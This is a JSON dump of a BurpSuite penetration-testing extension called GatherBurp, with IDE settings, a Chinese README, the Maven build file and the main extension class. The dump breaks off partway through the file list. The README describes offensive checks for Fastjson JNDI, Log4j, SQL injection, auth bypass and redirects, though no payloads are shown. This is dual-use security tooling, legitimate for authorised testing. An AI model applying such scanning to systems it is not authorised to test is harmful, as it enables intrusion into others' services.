[
  {
    "path": ".gitignore",
    "content": "target/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**/target/\n!**/src/test/**/target/\n\n### IntelliJ IDEA ###\n.idea/modules.xml\n.idea/jarRepositories.xml\n.idea/compiler.xml\n.idea/libraries/\n*.iws\n*.iml\n*.ipr\n\n### Eclipse ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n!**/src/main/**/build/\n!**/src/test/**/build/\n\n### VS Code ###\n.vscode/\n\n### Mac OS ###\n.DS_Store"
  },
  {
    "path": ".idea/.gitignore",
    "content": "# Default ignored files\n/shelf/\n/workspace.xml\n# Editor-based HTTP Client requests\n/httpRequests/\n# Datasource local storage ignored files\n/dataSources/\n/dataSources.local.xml\n# GitHub Copilot persisted chat sessions\n/copilot/chatSessions\n"
  },
  {
    "path": ".idea/MarsCodeWorkspaceAppSettings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"com.codeverse.userSettings.MarscodeWorkspaceAppSettingsState\">\n    <option name=\"ckgOperationStatus\" value=\"SUCCESS\" />\n    <option name=\"progress\" value=\"0.7794118\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/encodings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Encoding\">\n    <file url=\"file://$PROJECT_DIR$/src/main/java\" charset=\"UTF-8\" />\n    <file url=\"file://$PROJECT_DIR$/src/main/resources\" charset=\"UTF-8\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ASMSmaliIdeaPluginConfiguration\">\n    <asm skipDebug=\"true\" skipFrames=\"true\" skipCode=\"false\" expandFrames=\"false\" />\n    <groovy codeStyle=\"LEGACY\" />\n  </component>\n  <component name=\"ExternalStorageConfigurationManager\" enabled=\"true\" />\n  <component name=\"MavenProjectsManager\">\n    <option name=\"originalFiles\">\n      <list>\n        <option value=\"$PROJECT_DIR$/pom.xml\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"ProjectRootManager\" version=\"2\" languageLevel=\"JDK_1_8\" default=\"true\" project-jdk-name=\"1.8\" project-jdk-type=\"JavaSDK\">\n    <output url=\"file://$PROJECT_DIR$/out\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/runConfigurations.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"RunConfigurationProducerService\">\n    <option name=\"ignoredProducers\">\n      <set>\n        <option value=\"com.android.tools.idea.compose.preview.runconfiguration.ComposePreviewRunConfigurationProducer\" />\n      </set>\n    </option>\n  </component>\n</project>"
  },
  {
    "path": ".idea/uiDesigner.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Palette2\">\n    <group name=\"Swing\">\n      <item class=\"com.intellij.uiDesigner.HSpacer\" tooltip-text=\"Horizontal Spacer\" icon=\"/com/intellij/uiDesigner/icons/hspacer.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"com.intellij.uiDesigner.VSpacer\" tooltip-text=\"Vertical Spacer\" icon=\"/com/intellij/uiDesigner/icons/vspacer.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" />\n      </item>\n      <item class=\"javax.swing.JPanel\" icon=\"/com/intellij/uiDesigner/icons/panel.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JScrollPane\" icon=\"/com/intellij/uiDesigner/icons/scrollPane.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"7\" hsize-policy=\"7\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JButton\" icon=\"/com/intellij/uiDesigner/icons/button.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"0\" fill=\"1\" />\n        <initial-values>\n          <property name=\"text\" value=\"Button\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JRadioButton\" icon=\"/com/intellij/uiDesigner/icons/radioButton.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"RadioButton\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JCheckBox\" icon=\"/com/intellij/uiDesigner/icons/checkBox.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"CheckBox\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JLabel\" icon=\"/com/intellij/uiDesigner/icons/label.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"Label\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JTextField\" icon=\"/com/intellij/uiDesigner/icons/textField.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JPasswordField\" icon=\"/com/intellij/uiDesigner/icons/passwordField.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JFormattedTextField\" icon=\"/com/intellij/uiDesigner/icons/formattedTextField.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTextArea\" icon=\"/com/intellij/uiDesigner/icons/textArea.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTextPane\" icon=\"/com/intellij/uiDesigner/icons/textPane.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JEditorPane\" icon=\"/com/intellij/uiDesigner/icons/editorPane.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JComboBox\" icon=\"/com/intellij/uiDesigner/icons/comboBox.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"2\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JTable\" icon=\"/com/intellij/uiDesigner/icons/table.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JList\" icon=\"/com/intellij/uiDesigner/icons/list.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"2\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTree\" icon=\"/com/intellij/uiDesigner/icons/tree.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTabbedPane\" icon=\"/com/intellij/uiDesigner/icons/tabbedPane.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"200\" height=\"200\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JSplitPane\" icon=\"/com/intellij/uiDesigner/icons/splitPane.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"200\" height=\"200\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JSpinner\" icon=\"/com/intellij/uiDesigner/icons/spinner.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JSlider\" icon=\"/com/intellij/uiDesigner/icons/slider.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JSeparator\" icon=\"/com/intellij/uiDesigner/icons/separator.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JProgressBar\" icon=\"/com/intellij/uiDesigner/icons/progressbar.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JToolBar\" icon=\"/com/intellij/uiDesigner/icons/toolbar.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\">\n          <preferred-size width=\"-1\" height=\"20\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JToolBar$Separator\" icon=\"/com/intellij/uiDesigner/icons/toolbarSeparator.svg\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JScrollBar\" icon=\"/com/intellij/uiDesigner/icons/scrollbar.svg\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"0\" anchor=\"0\" fill=\"2\" />\n      </item>\n    </group>\n  </component>\n  <component name=\"uidesigner-configuration\">\n    <option name=\"INSTRUMENT_CLASSES\" value=\"false\" />\n    <option name=\"COPY_FORMS_RUNTIME_TO_OUTPUT\" value=\"false\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"\" vcs=\"Git\" />\n  </component>\n</project>"
  },
  {
    "path": "README.md",
    "content": "# GatherBurp\n\n<div align=\"center\">\n\n![GatherBurp Logo](images/img.png)\n\n[![License](https://img.shields.io/github/license/kN6jq/gatherBurp)](LICENSE)\n[![Stars](https://img.shields.io/github/stars/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/stargazers)\n[![Issues](https://img.shields.io/github/issues/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/issues)\n[![Release](https://img.shields.io/github/v/release/kN6jq/gatherBurp)](https://github.com/kN6jq/gatherBurp/releases)\n\n**一款强大的 BurpSuite 安全测试扩展，集成多种漏洞检测与渗透测试功能**\n\n[功能特点](#-功能特点) •\n[快速开始](#-快速开始) •\n[详细文档](#-详细文档) •\n[贡献指南](#-贡献指南) •\n[交流讨论](#-交流讨论)\n\n</div>\n\n## 📋 功能特点\n\nGatherBurp 集成了多种安全测试功能，可大幅提升渗透测试和漏洞挖掘效率。\n\n### 🔍 漏洞检测\n\n- **Fastjson 漏洞扫描**\n  - 支持 DNS 回连检测\n  - 支持 JNDI 利用链检测\n  - 支持回显检测（Tomcat、Spring 等环境）\n  - 支持版本识别\n\n- **SQL 注入检测**\n  - 支持 GET、POST 参数检测\n  - 支持 Cookie 参数检测\n  - 支持多层级 JSON 参数检测\n  - 支持报错注入、时间盲注、布尔盲注\n  - 支持自定义 payload 和检测规则\n\n- **Log4j 漏洞检测**\n  - 支持 DNS 和 IP 回连检测\n  - 支持参数和 Header 检测\n  - 自定义 payload 列表\n\n- **URL 重定向漏洞检测**\n  - 自动检测常见重定向参数\n  - 支持自定义 payload 和参数列表\n  - 结果可按 ID 数值排序\n\n### 🛡️ 权限测试\n\n- **越权访问检测**\n  - 支持原始请求、低权限请求和无权限请求对比\n  - 自动分析响应长度差异\n  - 结果可按 ID 数值排序\n\n- **认证绕过测试**\n  - URI 特殊字符绕过\n  - Header 字段绕过\n  - Accept 头绕过\n\n### 🌐 信息收集\n\n- **多层级路由扫描**\n  - 支持复杂条件表达式过滤\n  - 自定义字典和规则\n  - 智能识别有效路径\n\n### 🔧 辅助工具\n\n- **Nuclei 模板生成**\n  - 一键生成 Nuclei 扫描模板\n  - 支持多种漏洞类型\n\n- **代理池功能**\n  - 支持 SOCKS 代理\n  - 多代理自动切换\n\n- **复杂数据提交**\n  - 支持 Base64 编码数据自动解码\n  - 解决序列化数据编码问题\n\n- **工具快速调用**\n  - 支持自定义工具集成\n  - 支持占位符：{url}、{host}、{request}\n\n## 🚀 快速开始\n\n### 安装要求\n\n- JDK 1.8+\n- BurpSuite Professional 2021.x+\n- Maven 3.6+ (仅编译时需要)\n\n### 编译安装\n\n```bash\n# 克隆仓库\ngit clone https://github.com/kN6jq/gatherBurp.git\n\n# 进入项目目录\ncd gatherBurp\n\n# 编译打包\nmvn clean package\n```\n\n编译后的 JAR 文件位于 `target/` 目录下。\n\n### 在 BurpSuite 中加载\n\n1. 打开 BurpSuite Professional\n2. 进入 `Extender` -> `Extensions` 标签\n3. 点击 `Add` 按钮\n4. 选择 `Java` 类型，并选择编译好的 JAR 文件\n5. 点击 `Next` 完成加载\n\n### 基本使用\n\n所有功能可通过以下方式访问：\n\n1. **右键菜单**：在 Proxy、Repeater 等模块中右键点击请求\n2. **扩展标签页**：在 BurpSuite 顶部标签栏中的 `GatherBurp` 标签\n\n## 📚 详细文档\n\n### Fastjson 扫描\n\n![Fastjson扫描](images/img_1.png)\n\n**使用步骤：**\n\n1. 在 `配置` 标签页设置 DNS 和 IP\n2. 右键选择 `FastJson` -> 选择检测类型：\n   - DNS 检测：适用于外网环境\n   - JNDI 检测：支持 DNS/IP 回连\n   - 回显检测：适用于内网环境\n   - 版本检测：识别 Fastjson 版本\n\n**高级配置：**\n\n- DNS 扫描：配置类型为 dns，使用 FUZZ 占位符\n- 回显检测支持多种环境：Tomcat、Spring 等\n\n### SQL 注入检测\n\n**功能特点：**\n\n- 支持多种注入类型检测\n- 支持参数、Cookie、Header、JSON 数据\n- 支持自定义 payload 和错误关键字\n- 支持白名单域名过滤\n- 结果可按 ID 数值排序\n\n**使用方法：**\n\n1. 右键选择 `SQL Inject` \n2. 在标签页中配置检测参数\n3. 查看检测结果和详细请求响应\n\n### Log4j 漏洞检测\n\n**功能特点：**\n\n- 支持 DNS 和 IP 回连检测\n- 支持参数和 Header 检测\n- 自定义 payload 列表\n- 结果可按 ID 数值排序\n\n**使用方法：**\n\n1. 右键选择 `Log4j Scan`\n2. 在标签页中配置检测参数\n3. 查看检测结果和详细请求响应\n\n### 权限检测\n\n![权限检测](images/img_2.png)\n\n**功能特点：**\n\n- 支持原始请求、低权限请求和无权限请求对比\n- 自动分析响应长度差异\n- 结果可按 ID 数值排序\n\n**使用方法：**\n\n1. 右键选择 `Perm Check`\n2. 在标签页中配置低权限和无权限认证信息\n3. 查看检测结果和详细请求响应对比\n\n### URL 重定向检测\n\n**功能特点：**\n\n- 自动检测常见重定向参数\n- 支持自定义 payload 和参数列表\n- 结果可按 ID 数值排序\n\n**使用方法：**\n\n1. 右键选择 `UrlRedirect`\n2. 在标签页中配置检测参数\n3. 查看检测结果和详细请求响应\n\n### 多层级路由扫描\n\n**表达式语法：**\n\n```\ncode=200\nbody=\"hello\"\ntitle=\"druid\"\nheaders=\"Content-Type: application/json\"\n\n# 复杂条件\ncode=200 && body=\"hello\"\ncode!=200 && (body=\"hello\" || title=\"druid\")\n```\n\n**使用方法：**\n\n1. 在 `Route` 标签页配置扫描参数\n2. 设置字典和过滤条件\n3. 开始扫描并查看结果\n\n### 工具快速调用\n\n**配置方法：**\n\n1. 在 `配置` 标签页添加工具名称和命令\n2. 支持以下占位符：\n   - `{url}`: 当前请求的完整 URL\n   - `{host}`: 当前请求的主机名\n   - `{request}`: 当前请求的临时文件路径\n\n**使用方法：**\n\n右键菜单中选择配置好的工具名称即可快速调用\n\n## 🤝 贡献指南\n\n我们非常欢迎各种形式的贡献：\n\n- 🐛 **报告 Bug**：提交详细的 Bug 报告，包括复现步骤\n- 💡 **功能建议**：提出新功能或改进建议\n- 📝 **文档改进**：完善或更正文档内容\n- 🔧 **代码贡献**：提交 Pull Request 修复问题或添加功能\n\n**贡献流程：**\n\n1. Fork 本仓库\n2. 创建功能分支 (`git checkout -b feature/amazing-feature`)\n3. 提交更改 (`git commit -m 'Add some amazing feature'`)\n4. 推送到分支 (`git push origin feature/amazing-feature`)\n5. 提交 Pull Request\n\n## 👥 交流讨论\n\n加入微信讨论群：\n\n请移步 Issues 查看群聊二维码\n\n## 📋 未来计划\n\n- [ ] 更多漏洞检测模块\n- [ ] 性能优化和代码重构\n- [ ] 完善文档和使用示例\n- [ ] 支持更多自定义配置选项\n- [ ] 国际化支持\n\n## ⚠️ 免责声明\n\n本工具仅用于授权的安全测试和教育目的，请勿用于非法用途。使用本工具造成的任何后果由使用者自行承担。\n\n## 📄 许可证\n\n[MIT License](LICENSE)\n\n---\n\n<div align=\"center\">\n\n如果觉得这个项目对您有帮助，请给个 Star ⭐️ 支持一下！\n\n</div>\n"
  },
  {
    "path": "pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.xm17</groupId>\n  <artifactId>gatherBurp</artifactId>\n  <version>1.2.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>gatherBurp</name>\n  <url>http://maven.apache.org</url>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  <repositories>\n    <repository>\n      <id>jitpack.io</id>\n      <url>https://jitpack.io</url>\n    </repository>\n  </repositories>\n\n  <dependencies>\n    <dependency>\n      <groupId>com.github.bit4woo</groupId>\n      <artifactId>burp-api-common</artifactId>\n      <version>master-SNAPSHOT</version>\n    </dependency>\n    <!-- https://mvnrepository.com/artifact/com.intellij/forms_rt -->\n    <dependency>\n      <groupId>com.intellij</groupId>\n      <artifactId>forms_rt</artifactId>\n      <version>7.0.3</version>\n    </dependency>\n    <!-- https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc -->\n    <dependency>\n      <groupId>org.xerial</groupId>\n      <artifactId>sqlite-jdbc</artifactId>\n      <version>3.43.2.2</version>\n    </dependency>\n    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->\n    <dependency>\n      <groupId>com.alibaba</groupId>\n      <artifactId>fastjson</artifactId>\n      <version>1.2.83</version>\n    </dependency>\n    <dependency>\n      <groupId>net.portswigger.burp.extender</groupId>\n      <artifactId>burp-extender-api</artifactId>\n      <version>2.3</version>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-expression</artifactId>\n      <version>4.3.22.RELEASE</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifest>\n              <mainClass>burp.BurpExtender</mainClass>\n            </manifest>\n            <manifestEntries>\n              <Class-Path>.</Class-Path>\n            </manifestEntries>\n          </archive>\n          <descriptorRefs>\n            <descriptorRef>jar-with-dependencies</descriptorRef>\n          </descriptorRefs>\n        </configuration>\n        <executions>\n          <execution>\n            <id>make-assembly</id>\n            <phase>package</phase>\n            <goals>\n              <goal>single</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>8</source>\n          <target>8</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "src/main/java/burp/BurpExtender.java",
    "content": "package burp;\n\nimport burp.bean.ConfigBean;\nimport burp.menu.*;\nimport burp.ui.MainUI;\nimport burp.utils.RobotInput;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport java.awt.event.ActionEvent;\nimport java.io.PrintWriter;\nimport java.util.*;\n\nimport static burp.dao.ConfigDao.getToolConfig;\nimport static burp.utils.Utils.writeReqFile;\n\npublic class BurpExtender implements IBurpExtender, IContextMenuFactory, IHttpListener {\n    @Override\n    public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) {\n        Utils.callbacks = iBurpExtenderCallbacks;\n        Utils.helpers = iBurpExtenderCallbacks.getHelpers();\n        Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true);\n        Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true);\n        Utils.callbacks.setExtensionName(Utils.NAME);\n        Utils.callbacks.registerContextMenuFactory(this);\n        Utils.callbacks.registerHttpListener(this);\n        MainUI mainUI = new MainUI(Utils.callbacks);\n        Utils.callbacks.addSuiteTab(mainUI);\n        SwingUtilities.invokeLater(new Runnable() {\n            @Override\n            public void run() {\n                Utils.callbacks.customizeUiComponent(mainUI);\n            }\n        });\n        Utils.stdout.println(\"[\" + Utils.NAME + \" v\" + Utils.VERSION + \"] by \" + Utils.AUTHOR + \" loaded successfully.\\n\");\n        Utils.stdout.println(\"Tip: If any errors occur, delete the '.gather' directory in your user folder and reload the extension.\\n\");\n        Utils.stdout.println(\"GitHub: https://github.com/kN6jq/gatherBurp\\n\");\n\n    }\n\n    @Override\n    public List<JMenuItem> createMenuItems(IContextMenuInvocation iContextMenuInvocation) {\n        List<JMenuItem> listMenuItems = new ArrayList<JMenuItem>(1);\n        IHttpRequestResponse[] requestResponses = iContextMenuInvocation.getSelectedMessages();\n        IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0];\n        // 如果是个空的, 则返回null\n        if (baseRequestResponse.getHttpService() == null) {\n            return null;\n        }\n        List<ConfigBean> toolParam = getToolConfig();\n        for (ConfigBean config : toolParam) {\n            String name = config.getType();\n            String value = config.getValue();\n            if (!name.isEmpty() && !value.isEmpty()) {\n                JMenuItem jMenuItem = new JMenuItem(name);\n                jMenuItem.addActionListener(new AbstractAction() {\n                    @Override\n                    public void actionPerformed(ActionEvent e) {\n                        if (value.contains(\"{url}\")){\n                            String url = Utils.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();\n                            try {\n                                RobotInput ri = new RobotInput();\n                                ri.inputString(value.replace(\"{url}\", url));\n                            } catch (Exception ex) {\n                                Utils.stderr.println(ex.getMessage());\n                            }\n                        }else if (value.contains(\"{host}\")) {\n                            String host = baseRequestResponse.getHttpService().getHost();\n                            try {\n                                RobotInput ri = new RobotInput();\n                                ri.inputString(value.replace(\"{host}\", host));\n                            } catch (Exception ex) {\n                                Utils.stderr.println(ex.getMessage());\n                            }\n                        } else if (value.contains(\"{request}\")) {\n                            String requestFilePath = writeReqFile(baseRequestResponse);\n                            if (requestFilePath != null) {\n                                try {\n                                    RobotInput ri = new RobotInput();\n                                    ri.inputString(value.replace(\"{request}\", requestFilePath));\n                                } catch (Exception ex) {\n                                    Utils.stderr.println(ex.getMessage());\n                                }\n                            } else {\n                                Utils.stderr.println(\"Failed to write request file.\");\n                            }\n                        }\n                    }\n                });\n                listMenuItems.add(jMenuItem);\n            }\n        }\n\n        JMenu fastjson = new JMenu(\"FastJson\");\n        fastjson.add(new FastjsonMenu().FastjsonDnslogMenu(requestResponses));\n        fastjson.add(new FastjsonMenu().FastjsonEchoMenu(requestResponses));\n        fastjson.add(new FastjsonMenu().FastjsonJNDIMenu(requestResponses));\n        fastjson.add(new FastjsonMenu().FastjsonVersionMenu(requestResponses));\n        listMenuItems.add(fastjson);\n\n        listMenuItems.add(new SqlMenu(requestResponses));\n        listMenuItems.add(new AuthMenu(requestResponses));\n        listMenuItems.add(new RouteMenu(requestResponses));\n        listMenuItems.add(new Log4jMenu(requestResponses));\n        listMenuItems.add(new PermMenu(requestResponses));\n        listMenuItems.add(new NucleiMenu(requestResponses));\n        listMenuItems.add(new TextProcessMenu(iContextMenuInvocation));\n        return listMenuItems;\n    }\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {\n        if (toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER && messageIsRequest) {\n            byte[] request = messageInfo.getRequest();\n            String requestStr = Utils.helpers.bytesToString(request);\n            if (requestStr.contains(\"<datab64>\")) {\n                // 解码 base64 数据\n                String data = requestStr.substring(requestStr.indexOf(\"<datab64>\") + 9, requestStr.indexOf(\"</datab64>\"));\n                byte[] decodedData = Base64.getDecoder().decode(data);\n\n                // 构建新的请求体\n                byte[] newBytes = new byte[requestStr.indexOf(\"<datab64>\") + decodedData.length + (request.length - requestStr.indexOf(\"</datab64>\") - 10)];\n                System.arraycopy(request, 0, newBytes, 0, requestStr.indexOf(\"<datab64>\"));\n                System.arraycopy(decodedData, 0, newBytes, requestStr.indexOf(\"<datab64>\"), decodedData.length);\n                System.arraycopy(request, requestStr.indexOf(\"</datab64>\") + 10, newBytes, requestStr.indexOf(\"<datab64>\") + decodedData.length, request.length - requestStr.indexOf(\"</datab64>\") - 10);\n\n                // 更新 Content-Length\n                IRequestInfo analyzedRequest = Utils.helpers.analyzeRequest(newBytes);\n                List<String> headers = new ArrayList<>(analyzedRequest.getHeaders());\n                int bodyOffset = analyzedRequest.getBodyOffset();\n                int contentLength = newBytes.length - bodyOffset;\n\n                // 更新或添加 Content-Length 头\n                boolean contentLengthFound = false;\n                for (int i = 0; i < headers.size(); i++) {\n                    if (headers.get(i).startsWith(\"Content-Length:\")) {\n                        headers.set(i, \"Content-Length: \" + contentLength);\n                        contentLengthFound = true;\n                        break;\n                    }\n                }\n                if (!contentLengthFound) {\n                    headers.add(\"Content-Length: \" + contentLength);\n                }\n\n                // 重建请求\n                byte[] body = new byte[newBytes.length - bodyOffset];\n                System.arraycopy(newBytes, bodyOffset, body, 0, body.length);\n                byte[] updatedRequest = Utils.helpers.buildHttpMessage(headers, body);\n\n                messageInfo.setRequest(updatedRequest);\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/AuthBean.java",
    "content": "package burp.bean;\n\npublic class AuthBean {\n    private String method;\n    private String path;\n    private String headers;\n\n    public AuthBean() {\n    }\n\n    public AuthBean(String method, String path, String headers) {\n        this.method = method;\n        this.path = path;\n        this.headers = headers;\n    }\n\n    public String getMethod() {\n        return method;\n    }\n\n    public void setMethod(String method) {\n        this.method = method;\n    }\n\n    public String getPath() {\n        return path;\n    }\n\n    public void setPath(String path) {\n        this.path = path;\n    }\n\n    public String getHeaders() {\n        return headers;\n    }\n\n    public void setHeaders(String headers) {\n        this.headers = headers;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/ConfigBean.java",
